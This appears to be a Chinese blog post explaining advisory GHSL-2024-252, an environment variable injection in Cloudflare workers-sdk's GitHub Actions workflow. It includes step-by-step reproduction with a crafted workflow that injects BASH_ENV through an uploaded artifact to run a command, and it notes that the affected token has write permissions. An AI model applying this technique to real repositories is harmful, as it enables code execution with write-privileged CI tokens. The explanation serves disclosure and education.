GHSL-2024-252: Cloudflare Workers SDK 环境变量注入漏洞解析

什么是环境变量注入漏洞?

环境变量注入漏洞是一种安全漏洞,攻击者可以通过修改环境变量来执行任意代码或泄露敏感信息。 在 Cloudflare Workers SDK 的工作流程文件 write-prerelease-comment.yml 中,存在一个环境变量注入的问题。攻击者可以通过修改上传的文件内容,向 GitHub 环境中注入新的环境变量(例如 BASH_ENV),从而在后续步骤中执行任意代码。


漏洞工作原理

  1. 触发机制

    • 当一个名为"Create Pull Request Prerelease"的工作流程结束时,会触发 write-prerelease-comment.yml 工作流程。

    • 此工作流程通过条件判断:

      ini 复制代码
      if: ${{ github.repository_owner == 'cloudflare' }}

      但在工作流程运行时,这个条件总为真,因为它运行在默认分支的上下文中,起不到保护作用。

  2. 下载并设置环境变量

    • 工作流程会下载触发流程上传的工件文件 runtime-versions.md

    • 然后通过如下代码将文件内容写入环境变量中:

      bash 复制代码
      {
        echo 'RUNTIME_VERSIONS<<EOF'
        cat runtime-versions.md
        echo EOF
      } >> "$GITHUB_ENV"
    • 如果工件文件中包含恶意内容(比如带有换行符的新环境变量定义),就可能注入恶意变量,例如 BASH_ENV。这样,当后续步骤运行 shell 命令时,恶意代码就会被执行。


复现步骤及示例代码

以下步骤和示例代码展示如何复现该漏洞(请在实验环境中操作,不建议在生产环境中测试):

  1. Fork 和克隆仓库

    bash 复制代码
    # Fork cloudflare/workers-sdk 后,克隆你的 Fork
    gh repo clone your-username/workers-sdk
    cd workers-sdk
  2. 新建分支

    css 复制代码
    git checkout -b poc
  3. 修改工作流程文件

    修改 .github/workflows/create-pullrequest-prerelease.yml 文件,内容示例如下:

    yaml 复制代码
    name: Create Pull Request Prerelease
    
    on:
      pull_request:
    
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - name: 生成 runtime-versions.md 文件
            run: |
              cat << 'EOF2' > runtime-versions.md
              FOO
              EOF2
              # 注入环境变量示例:将 BASH_ENV 设置为执行 id 命令的输出
              echo "BASH_ENV<<EOF3" >> runtime-versions.md
              echo "$(id 1>&2)" >> runtime-versions.md
              echo "EOF3" >> runtime-versions.md
          - name: 显示 runtime-versions.md 文件内容
            run: cat runtime-versions.md
          - name: 上传工件文件
            uses: actions/upload-artifact@v3
            with:
              name: runtime-versions.md
              path: runtime-versions.md
  4. 提交更改并创建 Pull Request

    sql 复制代码
    git add .
    git commit -m "添加恶意 Payload 演示"
    git push origin poc

    然后在 GitHub 上从 poc 分支创建一个 Pull Request。

  5. 观察执行结果

    • 等待 "Create Pull Request Prerelease" 流程执行完毕后,检查后续的 "Write prerelease comment" 流程。

    • 在 "Put runtime versions on the environment" 这一步骤中,如果文件中注入的 BASH_ENV 成功,输出中将显示类似如下的内容:

      scss 复制代码
      uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

安全影响

由于该工作流程使用的 GITHUB_TOKEN 权限非常高,包括写入仓库内容等权限。详细权限如下:

  • Actions: write
  • Attestations: write
  • Checks: write
  • Contents: write
  • Deployments: write
  • Discussions: write
  • Issues: write
  • Metadata: read
  • Packages: write
  • Pages: write
  • PullRequests: write
  • RepositoryProjects: write
  • SecurityEvents: write
  • Statuses: write

如果攻击者成功注入恶意代码,就可能利用这些高权限进行进一步的攻击,如修改代码、创建恶意分支等。


总结

  • 问题核心 :环境变量注入漏洞允许攻击者通过上传恶意构造的文件,利用工作流程中不严格的验证将恶意环境变量写入 $GITHUB_ENV 中,从而执行任意代码。
  • 复现关键:通过修改触发工作流程上传的工件文件内容,注入带有换行符的恶意变量定义(如 BASH_ENV)。
  • 安全风险:攻击者可以利用高权限的 GITHUB_TOKEN 执行恶意操作,影响仓库安全。

通过以上解释和示例代码,希望能帮助大家更好地理解该漏洞的原理和风险,并引起对自动化工作流程中环境变量处理的重视。

相关推荐
caihuayuan55 分钟前
IOS 国际化词条 Python3 脚本
java·大数据·spring boot·后端·课程设计
我的golang之路果然有问题1 小时前
案例速成GO+Socket,个人笔记
开发语言·笔记·后端·websocket·学习·http·golang
Deepsleep.1 小时前
前端性能优化面试回答技巧
前端·面试·性能优化
boring_1111 小时前
全局id生成器生产方案
大数据·分布式·后端
brave_zhao2 小时前
使用Spring Boot实现WebSocket广播
spring boot·后端·websocket
三思而后行,慎承诺3 小时前
Kotlin 常见问题
开发语言·面试·kotlin
Code_流苏4 小时前
如何使用Git参与GitHub开源项目:入门全流程
git·开源·github·开源项目·入门学习
ss2734 小时前
基于Springboot + vue实现的中医院问诊系统
java·spring boot·后端
左灯右行的爱情5 小时前
Redis 缓存并发问题深度解析:击穿、雪崩与穿透防治指南
java·数据库·redis·后端·缓存